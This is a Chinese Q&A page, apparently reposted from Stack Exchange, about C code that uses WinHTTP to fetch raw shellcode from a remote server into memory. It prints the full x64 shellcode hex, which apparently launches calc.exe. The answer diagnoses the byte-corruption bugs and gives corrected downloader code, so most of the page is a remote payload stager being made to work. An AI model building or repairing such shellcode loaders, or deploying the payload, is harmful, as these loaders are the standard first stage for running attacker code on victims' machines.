You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用WinHTTP下载Shellcode时数据异常:0丢失与fff填充问题求助

问题:WinHTTP下载Shellcode时出现数据篡改(0丢失、0xff填充)

问题现象

使用WinHTTP从URL下载二进制Shellcode到unsigned char数组mycode时,出现两个异常:

  1. 原始Shellcode中的部分0字节丢失(例如88000000变为88000);
  2. 输出的Shellcode中大量出现ffffff前缀(例如fc变为fffffffc),导致Shellcode被篡改无法执行。

原始代码

Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {

    BOOL  bResults = FALSE;
    DWORD dwSize = 0;
    LPSTR pszOutBuffer;
    DWORD dwDownloaded = 0;
    unsigned char mycode[DEFAULT_BUFLEN] = "";
    LPCWSTR accept[2] = { L"application/octet-stream", NULL };

    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;

    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);

    // Specify an HTTP server.
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
        printf("Success in WinHttpConnect\n");
    }
    else
    {
        printf("Failed in WinHttpConnect (%u)\n", GetLastError());
    }

    // Create an HTTP request handle.
    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
        printf("Success in WinHttpOpenRequest\n");
    }
    else
    {
        printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
    }

    // Send a request.
    if (hRequest)
    {
        bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
        printf("Success in WinHttpSendRequest\n");
    }
    else
    {
        printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
    }

    // End the request.
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
        printf("Success in WinHttpReceiveResponse\n");
    }
    else
    {
        printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
    }

    // Keep checking for data until there is nothing left.
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());

            // Allocate space for the buffer.
            pszOutBuffer = malloc(dwSize + 1);

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
                {
                    printf("Error %u in WinHttpReadData.\n", GetLastError());
                }
                else
                {

                    memcpy(mycode, (LPVOID)pszOutBuffer, dwSize);
                    
                }
                free(pszOutBuffer);
            }
        } while (dwSize > 0);
    }

    if (sizeof(mycode) == DEFAULT_BUFLEN)
    {
        printf("Success retrieving the shellcode\n");
        printf("Shellcode Size : %d\n", sizeof(mycode));

    }
    else
    {
        printf("Failed retrieving the shellcode\n");
        exit;
    }

    // Report any errors.
    if (!bResults)
        printf("Error %d has occurred.\n", GetLastError());

    // Close any open handles.
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    size_t size = sizeof(mycode);
    char* PE = (char*)malloc(size);
    for (int i = 0; i < sizeof(mycode); i++) {
        PE[i] = mycode[i];
    }

    Buffer buffer;
    buffer.data = PE;
    buffer.size = size;

    return buffer;

}

原始Shellcode(xxd -p输出)

fc4883e4f0e8c0000000415141505251564831d265488b5260488b521848
8b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d41
01c1e2ed524151488b52208b423c4801d08b80880000004885c074674801
d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0
ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d0
66418b0c48448b401c4901d0418b04884801d0415841585e595a41584159
415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000
000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dff
d54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c
632e6578652000

异常输出

fffffffc48ffffff83ffffffe4fffffff0ffffffe8ffffffc0000415141505251564831ffffffd26548ffffff8b526048ffffff8b521848ffffff8b522048ffffff8b725048fffffffb74a4a4d31ffffffc94831ffffffc0ffffffac3c617c22c2041ffffffc1ffffffc9d411ffffffc1ffffffe2ffffffed52415148ffffff8b5220ffffff8b423c481ffffffd0ffffff8bffffff80ffffff8800048ffffff85ffffffc07467481ffffffd050ffffff8b481844ffffff8b4020491ffffffd0ffffffe35648ffffffffffffffc941ffffff8b34ffffff88481ffffffd64d31ffffffc94831ffffffc0ffffffac41ffffffc1ffffffc9d411ffffffc138ffffffe075fffffff14c34c2484539ffffffd175ffffffd85844ffffff8b4024491ffffffd06641ffffff8bc4844ffffff8b401c491ffffffd041ffffff8b4ffffff88481ffffffd0415841585e595a41584159415a48ffffff83ffffffec204152ffffffffffffffe05841595a48ffffff8b12ffffffe957ffffffffffffffffffffffff5d48ffffffba1000000048ffffff8dffffff8d110041ffffffba31ffffff8b6fffffff87ffffffffffffffd5ffffffbbfffffff0ffffffb5ffffffa25641ffffffbaffffffa6ffffff95ffffffbdffffff9dffffffffffffffd548ffffff83ffffffc4283c67caffffff80fffffffbffffffe0755ffffffbb4713726f6a05941ffffff89ffffffdaffffffffffffffd563616c632e65786520

原因分析

1. 0xff前缀填充问题

  • 代码中使用LPSTR pszOutBuffer(即char*)存储二进制数据,而char在多数编译器中是有符号类型。当读取到大于0x7F的字节(如0xfc)时,会被当作负数,在打印或转换为32位整数时触发符号扩展,高位补0xff,最终显示为fffffffc。
  • 后续将mycode(unsigned char数组)拷贝到char* PE时,同样的符号扩展问题再次发生,导致输出异常。

2. 0字节丢失/数据截断问题

  • 数据覆盖:每次循环执行memcpy(mycode, pszOutBuffer, dwSize)时,都是将新下载的数据覆盖到mycode的起始位置,而非追加到已有数据之后。最终mycode中仅保留最后一次下载的片段,前面的数据全部丢失,看起来像是0字节被截断。
  • 无效的判断逻辑:if (sizeof(mycode) == DEFAULT_BUFLEN)完全无意义,因为数组的sizeof是编译时确定的固定值,永远等于DEFAULT_BUFLEN,无法反映实际下载的数据量。
  • 未初始化的数组:unsigned char mycode[DEFAULT_BUFLEN] = "";仅会将数组第一个字节初始化为0,其余字节为随机值,可能干扰后续数据。

修复方案

1. 解决符号扩展问题

将所有处理二进制数据的指针改为unsigned char*,避免有符号类型的符号扩展:

  • 把LPSTR pszOutBuffer改为unsigned char* pszOutBuffer;
  • 把char* PE = (char*)malloc(size);改为unsigned char* PE = (unsigned char*)malloc(size);,同时调整Buffer结构体的data字段类型为unsigned char*(如果可以修改的话)。

2. 解决数据覆盖问题

添加一个偏移量变量,将每次下载的数据追加到mycode的当前位置:

  • 声明DWORD totalDownloaded = 0;用于记录已下载的总字节数;
  • 替换memcpy(mycode, pszOutBuffer, dwSize)为memcpy(mycode + totalDownloaded, pszOutBuffer, dwDownloaded);;
  • 每次下载后更新偏移量:totalDownloaded += dwDownloaded;;
  • 确保totalDownloaded不超过DEFAULT_BUFLEN,避免数组越界。

3. 修正判断逻辑与初始化

  • 用totalDownloaded判断是否成功下载数据,而非sizeof(mycode);
  • 使用ZeroMemory(mycode, DEFAULT_BUFLEN);初始化mycode,清除随机值;
  • 检查WinHttpReadData返回的dwDownloaded是否等于请求的dwSize,处理部分读取的情况。

修改后的核心代码片段

// 初始化数组
unsigned char mycode[DEFAULT_BUFLEN];
ZeroMemory(mycode, DEFAULT_BUFLEN);
DWORD totalDownloaded = 0;

// 下载循环内的修改
else
{
    // Read the Data.
    ZeroMemory(pszOutBuffer, dwSize + 1);

    if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
    {
        printf("Error %u in WinHttpReadData.\n", GetLastError());
    }
    else
    {
        // 检查是否会越界
        if (totalDownloaded + dwDownloaded <= DEFAULT_BUFLEN)
        {
            memcpy(mycode + totalDownloaded, pszOutBuffer, dwDownloaded);
            totalDownloaded += dwDownloaded;
        }
        else
        {
            printf("Shellcode exceeds buffer size\n");
            bResults = FALSE;
            break;
        }
    }
    free(pszOutBuffer);
}

// 修正成功判断
if (totalDownloaded > 0)
{
    printf("Success retrieving the shellcode\n");
    printf("Shellcode Size : %d\n", totalDownloaded);
}
else
{
    printf("Failed retrieving the shellcode\n");
    exit(1); // 补充exit参数
}

// 拷贝数据到返回Buffer
size_t size = totalDownloaded;
unsigned char* PE = (unsigned char*)malloc(size);
for (int i = 0; i < size; i++) {
    PE[i] = mycode[i];
}

Buffer buffer;
buffer.data = PE;
buffer.size = size;

内容的提问来源于stack exchange,提问作者ProtonX

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.14 08:30:37